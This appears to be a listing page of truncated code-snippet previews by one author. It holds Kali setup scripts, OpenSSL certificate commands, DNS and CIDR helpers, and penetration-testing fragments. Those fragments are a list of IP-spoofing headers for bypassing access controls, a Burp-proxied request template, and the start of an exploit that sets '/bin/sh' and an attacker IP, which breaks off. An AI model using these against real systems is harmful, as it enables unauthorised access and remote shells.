richardcurteis

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1

richardcurteis

#!/bin/bash

# Include a new non-root username and the public SSH key for that user
newuser=
pubkey=

if [ -z $newuser ]
then
  echo "[!] Missing username."
  exit 1

richardcurteis

#!/usr/bin/python3

import datetime
from requests import Session
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://some_host"
ENDPOINT = "/SOMEPATH"
PROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } # Running with this set in send_post(0 will let you debug script with Burp

richardcurteis

openssl genrsa  -out ca.key 4096
openssl req  -new -x509 -days 365 -key ca.key -out ca.crt -addext 'extendedKeyUsage=1.3.6.1.5.5.7.3.4,1.3.6.1.5.5.7.3.2'
openssl genrsa  -out client.key 4096
openssl req -new -key client.key -out client.csr
# self-signed
openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out client.crt

richardcurteis

# nslookup and IP address extraction for a file of FQDN hosts
for host in cat $( cat fqdns.txt ) ; do nslookup $host | egrep "^(:?Address:).*([0-9]{1,3}\.){3}[0-9]{1,3}$" | awk '{ print $2 }' >> hosts_from_fqdn.txt ; cat hosts_from_fqdn.txt | sort -u > t ; cp t hosts_from_fqdn.txt ; rm t ; done

richardcurteis

#!/bin/bash 

if [[ $# -eq 0  ]];then 
    echo "[!] Email must be provided for Git SSH key"
    exit 1
fi

sudo passwd kali

USER=`whoami`

richardcurteis

#!/bin/bash 

if [[ $# -eq 0  ]];then 
    echo "[!] Email must be provided for Git SSH key"
    exit 1
fi

USER=`whoami`

sudo apt-get update && sudo apt-get upgrade  -y

richardcurteis

# generate server.pem with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python3 simple-https-server.py
# then in your browser, visit:
#    https://localhost:8443

#!/usr/bin/env python3
from http import server
import ssl

richardcurteis

#!/usr/bin/python3

import ipaddress
import sys
import re

VALID_HOSTS = []
INFILE = []

def enum_cidr(host):

richardcurteis

#!/usr/bin/python3

import requests
import base64

target = f"http://127.0.0.1:3000/"

cmd = "/bin/sh"

attackerIp = "127.0.0.1"